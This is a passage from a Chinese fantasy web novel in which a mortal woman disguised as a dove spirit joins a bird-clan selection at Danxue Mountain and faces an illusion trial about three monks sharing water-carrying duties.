丹穴山的羽族每年深秋都会到山下选拔,从这些外围羽族里临时选些年幼的闲散宫侍,让它们待上三四年后再自行选择离去。 每到这个时令,北边的鸟儿就提前迁徙南下,不管是不是岭南一带的鸟群都会团聚,然后热闹至极,期盼着族中能出一个幼子被选中,哪怕去到丹穴山只能终日被唤去干些杂活粗使。 丹穴山可谓是羽族中的琼楼玉宇。 昨日街头还是些布衣的凡人散仙,今日一瞧集市边上就多了好些身披各色麻衣的人。 杨千里不免东张西望,这些暖色都是鸟的羽毛原色吗? 鸟群都有抱团的习惯,心月狐今日虽然穿得粗荆麻衣,发盘干练,但气质身段难掩,还带着杨千里逛,实在瞩目。 杨千里为了安危,问:“你不打算换一张脸吗?万一被认出来。” 心月狐:“怕什么,本君几百年才回来一次,除了凤凰鸾鸟一脉的,都够这些小妖轮回两三回了。” 和她并排走,杨千里现在身上沾着山鸠的妖气,即使没搞清楚状况,还是有同类找上了门。 来者衣摆是发亮的棕褐色,头上挽着草编盘发,还插着油光发亮的羽毛,很是花枝招展,自来熟地拍着杨千里的肩头,问:“姑娘,你们也是去报名应募的?” 杨千里点头:“对,小哥你们也是?” 杜鹃举手攀谈:“当然了,能到这丹穴山下团聚的大半都想上去。我瞧姑娘腕口尾羽,当是山鸠吧,我是杜鹃。” 杨千里拱手:“幸会幸会。” “我也刚好和族中的亲戚上山,好巧不巧,刚巧有两个山鸠作亲戚。姑娘若是不弃,可以和胞姐同我们一路,也好有个照应。” 这杜鹃同杨千里讲话时眼神总是飘忽到心月狐身上,着实不老实,估计把美艳绝伦的心月狐当她姐姐,想通过她来搭桥了。 不过杨千里想着人生地不熟,多个导游也好,当即答应了下来。 这杜鹃能说会道,以他为首,领了两个女妖还有三只男妖。 有个子比杨千里矮小的女妖见着杜鹃带人回合,就着急地上 前,说:“首乌哥,我妹妹还没回来,从昨天到现在,都快开选了!” 杜鹃推开她:“急什么啊,那么大一只山鸠,又不是不认路。” 杨千里一听是山鸠,就紧张兮兮地看向心月狐。 不会是心月狐当时打晕过去,化作原型的那只,这么巧? 心月狐笑而不语。 一旁的杜鹃瞧着异样,拍掌说:“对了对了,跟你们介绍下,这位娘子和她的胞妹也是山鸠。” 那山鸠看过来,左右扫过两人,和很多妖怪一样初见惊艳于心月狐的不施妆点的浓艳和优越的身段,竟还有些难以置信,居然眼前这等美人,竟和她一样是个山鸠精! 她奇异地问:“我怎么没见过你们?” 见心月狐不肯开口,杨千里急着说:“因为我们是北边来的。” 她不免生疑:“哪个北边?” 杨千里没在别的地方生活过,只能老实地说:“淮河往上,有个叫启林城的地方,你知道吗?” 山鸠和杜鹃都沉默,竟是个没听过的地方。 不过山鸠还是心疑,自己的妹妹失踪了,突然又冒两个山鸠? “北边启林城,那你们岂不是和人族住一块?”山鸠一说完,脸上就鄙夷自显,周边的羽族听到靠人族那么近,也都纷纷投来不善的目光。 杨千里见它们态度,原来自己说错话了,下意识去触摸手腕上吊着的尾羽。 杜鹃在心月狐面前,难免想表现,就打断了山鸠问道:“娘子和胞姐竟还是远道而来,我们几个都是岭南本地的,可得尽点地主之谊啊,有什么不懂的就多问我吧。” 山鸠去扯他袖子:“不行,我的妹妹都不知道去哪儿了!得先帮我找妹妹,你答应过我父亲照顾我们两姊妹的!” 杜鹃一脸不耐地扯回去,又想着心月狐在场,扯着笑慢悠悠地说:“哎呀,你妹妹那么贪玩,估计是知道资质平庸,想着早点收拾包袱回去,少让我们担心了。” 听样子那山鸠的妹妹已经失踪一天了,明明当时心月狐没有杀她,这是怎么回事?避风头? 心月狐还是笑而不语,甚至睫眉都没被说颤,冷静自持,也不搭理杨千里。 杨千里看向斑鸠的目光不免心虚,要是她妹妹回来了,还知道两人的长相,会不会被拆穿秘密? 她又被人轻敲肩膀,是队伍里素净白衣的姑娘家,腰带却是一抹鹅黄,头饰上挂着如雪晶莹的羽绒,整个人和杨千里差不多高挑。 她对一旁的争执无意,温文尔雅地问杨千里:“启林城地靠王都,人族聚居虽多,他们多是凶残陋态,你们远道而来,姑娘和胞姐定是有一番本事。” 本事吗?都是坐顺风车来的。不过这姑娘一番话倒是帮自己解围了。 杨千里拱手:“谬赞了。” 对面又说:“同为女妖,何不结伴而行?我是白鹭化形。” 难怪这女妖看着脖颈修长,原来是鹭鸟,杨千里:“幸会幸会。” 远处隐约传来编钟之音,闲逛的妖怪都停下了脚,它们都知道这仙山采选在即。 路边车轱辘又滚得响,马蹄嗒嗒,马夫手执鞭子在前面劈下,没好气地吼着来往人:“都让开!” 那马车可不是杨千里她们被关的大闷厢,车身雕梁画栋,两匹骏马佩戴金辔头,踏步飞快,完全冲着人堆里蛮横撞过来的。 大家急急地退远,宝马香车只能是士族权贵,这可不能摊上大事! 杨千里还是细瞧着,只见一只纤纤玉手撩开车帘,侧着看过来,刚巧就和她对视了。 那女子也是羽族,发髻高系,颇有入云之意,发间几枚靓丽的孔雀翎羽足够表示身份,若是常人与其对视,定会忽略细节,沉醉于女子的仪容端华,气质娉婷。 但是杨千里不会,她见多了心月狐这样的倾国之色,反倒生出了一点免疫力。 那孔雀女子表情又变得嫌恶,瞪了过来。 杨千里好奇,丹穴山下规定不得化为妖身吓到凡人,但这孔雀行事未免太张扬些? 17. 仙山 跟着白鹭她们拐到一处偏僻地方,周边立刻漫起白雾,再睁开眼时,就真的站在仙山脚下了。 面前万阶石梯,主峰直入云霏,路旁参天古木,险峻山腰崖壁间挂着的宫殿在云雾间,若隐若现,可谓天上琼玉京。 外围岭南野林在它面前都变得温婉。 看着石匾上大大的“丹穴山”,她真是叹为观止,又忍不住偷瞄身旁的心月狐了,这里和青丘实在差距太大。 青丘坐落十万大山,建筑民风都生得粗犷,除了主峰,满地狐狸洞,相较之下,丹穴山真是独树一帜的雅致。 她讽刺地想:怪说不得,心月狐这么眼红丹穴山呢。 心月狐还是那副表情,没搭理她。 白鹭:“我们快去前面报名吧,听说今年孔雀那一脉的公主也来了,选拔关卡会有改动。” 杨千里不禁疑惑:“公主来了丹穴山也要参加选拔吗?” 杜鹃觉得她真是蠢笨,拱手不屑地说:“鹰隼那些猛禽都不和我们一块考,更何况是公主那么高贵的血脉。” 周边其它羽族也来了兴趣,讨论说着:“孔雀公主今年是代表佛门来改掉那些老掉牙的关卡,与丹穴山义理互参。” “往年都考的岩壁飞行,收集飞种,今年突然考些禅学,我从没听佛念经过,可怎么办?” 杨千里一听崖壁飞行,立马如遭晴天霹雳,让她跳崖去自由飞翔不就是送死吗? 还有收集飞种的技术活,她五谷都不分,怎么可能知道鸟吃什么。 白鹭拍了拍她的肩头,以为她是怕禅学,说:“现在都没说设计的什么关卡呢,万一还是凌空呢?” 杨千里尴尬一笑,大可不必。 山鸠精捂着胸口,说:“我倒是希望别考那些用翅膀的,毕竟我只是个山鸠,凌空实在是比不过别的羽族。” 她唉声叹气,就算妹妹还没找到,她也要抓着机会费劲心思挤进丹穴山,光宗耀祖。 至于旁边这两个和她同为山鸠的竞争对手,连身上妖气都很淡,估计都不起眼。 ** 报名完毕。 一切事物刹那间生灭,无永恒不变。诸法本无我。 随着耳边一阵梵音空语,杨千里又一次睁开眼,明明还是陪着白鹭等人踏入山门的场景。 这会儿她在一间破庙门前醒了过来,这庙修在山顶,屋瓦大面积破漏,只用稀疏的茅草遮掩。 一旁小道旁茂林修竹,阳光透过枝叶照在她手上,她这是又穿越了吗? 当然不是,杨千里刚回头看着周遭,就被迎面的心月狐吓了一跳,她疑惑:“你怎么跟到这里了?” 面前人没有回答,只是笑着,在她的眼里,这狐狸笑得又欠又讨骂。 杨千里忍着,把刚刚人多不方便问的话说出来:“之前那个山鸠精说了,她妹妹走失,如果是你那日打晕过去的山鸠,她一定会认出你我的长相。若是揭发我是个冒牌货,可怎么办啊?” 心月狐没理,杨千里倒是急起来,推攘她:“你倒是说句话啊,我一个凡人,在你眼里就这么无关紧要,不痛不痒!” 她一下被杨千里扑倒在地上,脸上的颜色当即褪色,再是栩栩如生也化为了一具穿衣裳的稻草,脸上被画着顽皮的笑。 原来是心月狐留下的替身。 杨千里撑起身来,扯着一把稻草,差点气笑了,原来心月狐一路上都在耍她,怪不得没说话。 剩她一人演独角戏。 彼时寺庙里面传来几声争执,诸如:“今天该你挑水!” “你去抬。” “你去。” 杨千里只能拍拍身上泥灰,攥紧拳头,这毒无解只能想办法被选上。 一推开寺庙正门,就见着面前浮现几个大字:【寺庙里面有三个和尚,每天所需至少一桶水,泉水在山脚下,他们因为干活分配不均很是不快,作为事外人,你该怎么帮助他们度过七天?】 杨千里率先想,这就是那个所谓关卡吧。比起担心这些和尚,她这七天会不会饿死啊? 刚读完文字,就看着三个和尚围着一口大缸,又胖又矮的老和尚见着来人了,就直接招呼着:“你来得正好,老衲年纪这么大了,身体实在是不适,施主你就让他们俩去挑水吧。” 剩下两个和尚,一个瘦成长条,胡子拉碴的大和尚,另一个稚气矮小,白如馒头的小沙弥,那大和尚立刻反驳老和尚,说:“你明明吃得满面油光,平日惯会偷懒了去,再让洒家搬水,想得美呢!” 小沙弥附和:“是啊施主,你可得替我们三个人拿定主意。” 老和尚唉声叹气:“你们真是,经文里教的尊老爱幼被吃进狗肚子了吗?” 几个和尚各不松口,直直地围着这口空缸,口中念叨“阿弥陀佛”以求心静,就算望眼欲穿也不肯有半步行动,看来是积怨已久。 这出题人很明显是借鉴的“一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝”的俗语,不然拿一张表排好日期就能解决的问题,为什么如此夸大? 杨千里听到“尊老爱幼”的字眼,想着佛门确实有论年叙辈的说法,要给老和尚减负吗? 她又细细打量,这小沙弥不过八九岁,让小孩干重活又说不过去。 难道让大和尚多干活吗? 那大和尚瞧见杨千里打量起自己,气冲冲地说:“看我干嘛?想都别想!” 这三个都不愿意,那她自己来挑水吗? 杨千里问:“几位师傅,你们的水桶在哪啊?” 老和尚指着寺庙墙边的杂物,说:“阿弥陀佛。施主,都在那儿了。” 杨千里走上前去,看了下木桶,口径和桶身比她想象中大得多,要是以她以前在公司的状态,勉强能抬起来。 现在的她都快饿成皮包骨了,妖力又珍贵,就完全别想了。 只能先想着给三人分配了。 一人出去抬一挑,每日共两桶水,三个人轮流,只有按三的倍数轮值才公平。 她指挥着老和尚和大和尚,说:“两位师傅,你们今日先去抬水吧,然后我自有安排。” 两个和尚先是争执不休,随后一前一后抬着扁担和木桶,摔门出去。 这关卡里的时间竟然没有快进。 她就问小沙弥:“这里除了扁担之类,有做饭的地方吗?我许久都没吃上口饭了。” 小沙弥没想到她会这么问,还是耐心地领着她去到灶房,说:“施主,我和两位师叔早上还剩了些米饭,你若是不弃……” “不弃不弃。”她在青丘那会儿过得胆战心惊,基本每日都是鱼汤、野肉沫汤之类,唇齿早就馋米面的香气。 灶台被熏得黑漆漆,周围都是石头竹条做的椅具,上面被粗线绑着,杨千里随口夸了句:“这些都是你们自己做的?” “是啊,师叔们没事了就会砍些竹筒回来,那些竹条韧性可好了。” 杨千里自然而然地坐下,接过沙弥递给她的饭碗,说:“多谢。” 她开始大口扒饭,也只有幻境才能让她吃上这么一碗粒粒分明、香甜软糯的米饭,以往在李家她只能喝些稀得像白水一样的糙米粥。 尤其是第一口,就能尝到那不软不硬的饭粒,刚被舌尖接触时迸发的那一丝甜,还有满嘴的米香。 沙弥见她吃相,一时惊讶,只能犹豫地问:“施主还要吗?” 杨千里放下碗筷,一口嚼完只觉得舒畅,除了有些口干,完全能再来一碗。 那沙弥就给她舀了起来。 她眼巴巴地,只是饭没到手边,就听着大门外两个和尚的吆喝,以及场景的扭曲。 她出现在寺庙门前,这就是第二天了,刚刚那碗饭还没接着呢,就被传送了? 吃得半饱,她分析这个问题也就更利索,当即蹲在地上开始算起分配来。 昨日老和大,今日大和小,明日小和老,算起来轮到第七天,就公平不了,留着 一人偷懒去了。 到时候三个人肯定谁都不会乐意。这大概就是关卡的所在,要求公平。 沙弥跑过来,只瞧了地上图一眼,就问:“施主,你想好今日怎么安排了吗?” 大和尚抱臂,靠着那口大缸不断喘气,说:“先说好,昨日已经干完,洒家可不干了!” 杨千里说:“不,你今日得干,和小和尚一起。” “噫,凭什么!” “先别急,明日老和尚和小沙弥去挑。” 老和尚掐着珠子,原本安分,也停了下来,问:“施主是打算让我们三人轮流着来?可若是老衲和大和尚开头,最后也是老衲和他收尾,未免不见公平?” 大和尚惊讶地指责:“好啊你,这还怎么让我们求得公平?” 这就是问题所在。 两人心里不平衡当然不会干活了。 杨千里突然间觉得很吵,但她没有妖力,没法让他们闭嘴。 她摆手,说:“你们先挑吧,第七日我另有安排,保证让你们全都心服口服。” 杨千里跟着两个和尚一路到山下,看着他们一同把井水给打了出来,她上前试了试那水桶的重量,结果这一试才吓一跳,重如磐石,像被一头巨象踩着。 大和尚一脸鄙夷,绾起袖子,说:“让洒家来。” 他人又瘦又高,看起来弱不禁风,却能一下把水桶抬起来,这在修炼了十几年的羽族妖怪面前,简直是赤裸裸的挑衅,那小沙弥还跟着捧场:“师叔神力!” 但面前的是杨千里,她只觉得这水桶定是被施法了,默默排除最后一天帮三人的选项。 第三天,杨千里的安排继续,杨千里去砍竹子了。 而得知了面前山鸠精的底细,几个和尚也更加散漫了,反正到了最后一天量她也拿不出个好结果。 鸟妖大部分忙于生机,平日里勤于修行的都少,更别说还去阅览书卷,修养琴棋书画的。 第四天,这些人调了下轮班,不过她乘着几人挑担的时间去灶房边上忙活,跃跃欲试的样子。 第五天,杨千里手里摆弄竹条,给两根叠成一个交叉,沙弥推门而入,有些搞不懂她在作甚,就问:“施主,你还要用斋饭吗?” 杨千里没放下竹条,还拿刀钻着小眼,说:“不了小师傅,不过你来得正好,你们这些椅子之类是不是拿火烤过?能变弯然后还有韧性?” 沙弥笑起来:“是这样不错,不过施主你问这个作甚?” 他又瞧了瞧灶台边上的一片狼藉,失败的竹条和被烧断的麻绳。 杨千里捡起地上的麻绳解释:“我之前以为这个绳子烧一下就会融了变硬,是我想太多了,手艺不精只能在这些竹条上面打眼,再拿去烧一烧了。” 沙弥感叹:“原是如此,不过只剩下两天施主不该着急别的吗?” 杨千里调笑:“你不是幻境里的虚像吗?竟然还会提醒人。” 沙弥:“既是假相,亦是本分所在。” “好。” 这沙弥算是三个和尚里唯一会和杨千里正常说话的,到了最后一天,他们照常围着大缸,红脸白脸地问:“不知道施主今日是打算怎么安排?” 一个人挑水喝,但有了一个人,另外两个就会罢工。 论资排辈来抬水又免不得争辩,而佛门本就善辩,几个和尚争论起来更是没完没了,这事儿难就难在怎么让他们都觉得公平。 可杨千里口才不好,众口难调又落进了题目的陷阱。 于是她当着几个和尚的面,把那只扁担捡起,没有想着自己挑水,而是在众目睽睽之下邀请几个和尚到灶房,看着她把那只扁担扔到了火坑里。 老和尚气得唾沫星子都快飞了,老和尚气得唾沫星子都快飞了,指着她喊道:“你你你,你这是干什么!” 大和尚目光鄙夷,飞禽走兽之类果然冥顽不灵,才做点小事就沉不住气,这要是探讨起人生执念又能怎么样?